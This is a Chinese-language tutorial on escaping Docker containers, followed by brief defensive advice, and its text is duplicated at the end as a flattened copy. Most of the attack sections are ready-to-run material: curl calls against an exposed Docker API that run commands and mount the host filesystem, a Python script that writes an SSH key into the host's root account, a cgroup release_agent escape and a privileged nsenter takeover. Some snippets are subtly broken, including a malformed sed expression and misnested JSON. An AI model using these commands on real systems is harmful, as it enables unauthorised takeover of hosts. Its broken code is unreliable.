Docker逃逸小结第一版 更新
字数 1214 2025-08-25 22:59:02

Docker逃逸技术全面解析与防御指南

0x00 容器基础与逃逸概述

Docker架构与调用链

Docker启动的调用链如下:

docker-client -> dockerd -> docker-containerd -> docker-containerd-shim -> runc(容器外) -> runc(容器内) -> containter-entrypoint

Docker利用Linux Namespace实现了操作系统级的资源隔离。

逃逸思路分类

  1. 用户层:用户配置不当
  2. 服务层:容器服务自身缺陷
  3. 系统层:Linux内核漏洞

容器环境检测方法

systemd-detect-virt -c
sudo readlink /proc/1/exe
ls /.dockerenv
grep '/docker' /proc/1/cgroup
ps -p1  # 检查PID为1的进程是否是常规init进程
ps aux  # 检查进程数量

容器信息收集脚本

#!/bin/bash
id
cat /etc/passwd
cat /etc/os-release
ps aux
uname -a
grep CapEff /proc/self/status
CAP=`grep CapEff /proc/self/status | cut -f 2`
if [ "$CAP" = "0000003fffffffff" ]; then
    echo -e "Container is privileged."
else
    echo -e "Container is not privileged."
fi
cat /proc/mounts
env
cat /proc/mounts | grep docker.sock
cat /etc/hosts
ls -l /var/run/docker.sock
grep docker /etc/group
ls -l $(which docker)
docker images -a
docker ps -a
cat /usr/lib/systemd/system/docker.service
cat /etc/systemd/system/docker.service
cat /etc/docker/daemon.json
find / -name "docker-compose.*"
cat /home/*/.docker/config.json
iptables -t filter -vnL

0x01 用户配置不当导致的逃逸

1.1 docker.sock暴露到公网

风险场景

官方推荐的启动方式:

sudo docker daemon -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock

这会暴露2375端口到公网。

利用方法一:HTTP API利用

  1. 列出所有容器:
curl -i -s -X GET http://<docker_host>:PORT/containers/json
  1. 创建exec实例:
curl -i -s -X POST \
-H "Content-Type: application/json" \
--data-binary '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat", "/etc/passwd"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}' \
http://<docker_host>:PORT/containers/<container_id>/exec
  1. 启动exec:
curl -i -s -X POST \
-H 'Content-Type: application/json' \
--data-binary '{"Detach": false,"Tty": false}' \
http://<docker_host>:PORT/exec/<exec_id>/start

接管主机方法

  1. 下载镜像:
curl -i -s -k -X 'POST' \
-H 'Content-Type: application/json' \
http://<docker_host>:PORT/images/create?fromImage=ubuntu&tag=latest
  1. 创建带挂载的容器:
curl -i -s -k -X 'POST' \
-H 'Content-Type: application/json' \
--data-binary '{"Hostname": "","Domainname": "","User": "","AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Tty": true,"OpenStdin": true,"StdinOnce": true,"Entrypoint": "/bin/bash","Image": "ubuntu","Volumes": {"/hostos/HostConfig": {"Binds": ["/:/hostos"]}}' \
http://<docker_host>:PORT/containers/create
  1. 启动容器:
curl -i -s -k -X 'POST' \
-H 'Content-Type: application/json' \
http://<docker_host>:PORT/containers/<container_ID>/start

利用方法二:Python API写入SSH密钥

import docker
cli = docker.DockerClient(base_url='tcp://'+ip+':2375', version='auto')
image = cli.images.list()[0]
f = open('id_rsa_2048.pub', 'r')
sshKey = f.read()
f.close()
try:
    cli.containers.run(
        image=image.tags[0],
        command='sh -c "echo '+sshKey+' >> /usr/games/authorized_keys"',
        volumes={'/root/.ssh':{'bind': '/usr/games', 'mode': 'rw'}},
        name='test'
    )
except docker.errors.ContainerError as e:
    print(e)

1.2 危险启动参数

--privileged参数

  1. 查看磁盘文件:
fdisk -l
  1. 新建目录并挂载:
mkdir /aa
mount /dev/sda1 /aa

--cap-add=SYS_ADMIN利用

# 在容器内执行
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ls > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

1.3 docker.sock暴露到容器内部

sudo docker -H unix:///google/host/var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

1.4 docker.sock白名单绕过

通过传递多个Binds参数绕过:

"Binds": ["/:/hostos", "/dev/log:/dev/log"]

0x02 容器服务缺陷

2.1 runC漏洞(CVE-2019-5736)

影响版本

  • Docker Version < 18.09.2
  • runC Version <= 1.0-rc6

利用方法一:Docker EXEC POC

// 循环等待runC init的PID
// open("/proc/pid/exe",O_RDONLY)
// execve()释放runC的IO并覆盖runC二进制文件
// execve()执行被覆盖runC

利用方法二:恶意镜像POC

  1. 修改libseccomp源码添加恶意代码
  2. 编译并安装修改后的libseccomp
  3. 创建恶意overwrite_runc程序
  4. 设置ENTRYPOINT指向/proc/self/exe

2.2 Docker cp漏洞(CVE-2019-14271)

利用docker cp命令的漏洞实现逃逸。

2.3 Docker build代码执行(CVE-2019-13139)

利用docker build过程中的漏洞实现代码执行。

0x03 内核提权

3.1 Dirty Cow(CVE-2016-5195)

利用流程:

  1. 使用内核漏洞进入内核上下文
  2. 获取当前进程的task struct
  3. 回溯task list获取pid=1的task struct
  4. 复制其相关数据
  5. 切换当前namespace
  6. 打开root shell完成逃逸

0x04 防御建议

  1. 最小权限原则

    • 避免使用--privileged参数
    • 限制容器capabilities
    • 使用非root用户运行容器
  2. 网络隔离

    • 避免将docker.sock暴露到公网
    • 限制容器网络访问
  3. 及时更新

    • 保持Docker和runC版本最新
    • 及时修补内核漏洞
  4. 安全配置

    • 使用AppArmor或Seccomp限制容器行为
    • 配置合理的cgroup限制
  5. 监控审计

    • 监控容器异常行为
    • 审计容器日志

0x05 参考资源

  • Vulhub漏洞环境
  • Blackhat演讲资料
  • Docker官方安全文档
  • CVE漏洞详情报告
Docker逃逸技术全面解析与防御指南 0x00 容器基础与逃逸概述 Docker架构与调用链 Docker启动的调用链如下: Docker利用Linux Namespace实现了操作系统级的资源隔离。 逃逸思路分类 用户层 :用户配置不当 服务层 :容器服务自身缺陷 系统层 :Linux内核漏洞 容器环境检测方法 容器信息收集脚本 0x01 用户配置不当导致的逃逸 1.1 docker.sock暴露到公网 风险场景 官方推荐的启动方式: 这会暴露2375端口到公网。 利用方法一:HTTP API利用 列出所有容器: 创建exec实例: 启动exec: 接管主机方法 下载镜像: 创建带挂载的容器: 启动容器: 利用方法二:Python API写入SSH密钥 1.2 危险启动参数 --privileged参数 查看磁盘文件: 新建目录并挂载: --cap-add=SYS_ ADMIN利用 1.3 docker.sock暴露到容器内部 1.4 docker.sock白名单绕过 通过传递多个Binds参数绕过: 0x02 容器服务缺陷 2.1 runC漏洞(CVE-2019-5736) 影响版本 Docker Version < 18.09.2 runC Version <= 1.0-rc6 利用方法一:Docker EXEC POC 利用方法二:恶意镜像POC 修改libseccomp源码添加恶意代码 编译并安装修改后的libseccomp 创建恶意overwrite_ runc程序 设置ENTRYPOINT指向/proc/self/exe 2.2 Docker cp漏洞(CVE-2019-14271) 利用docker cp命令的漏洞实现逃逸。 2.3 Docker build代码执行(CVE-2019-13139) 利用docker build过程中的漏洞实现代码执行。 0x03 内核提权 3.1 Dirty Cow(CVE-2016-5195) 利用流程: 使用内核漏洞进入内核上下文 获取当前进程的task struct 回溯task list获取pid=1的task struct 复制其相关数据 切换当前namespace 打开root shell完成逃逸 0x04 防御建议 最小权限原则 : 避免使用--privileged参数 限制容器capabilities 使用非root用户运行容器 网络隔离 : 避免将docker.sock暴露到公网 限制容器网络访问 及时更新 : 保持Docker和runC版本最新 及时修补内核漏洞 安全配置 : 使用AppArmor或Seccomp限制容器行为 配置合理的cgroup限制 监控审计 : 监控容器异常行为 审计容器日志 0x05 参考资源 Vulhub漏洞环境 Blackhat演讲资料 Docker官方安全文档 CVE漏洞详情报告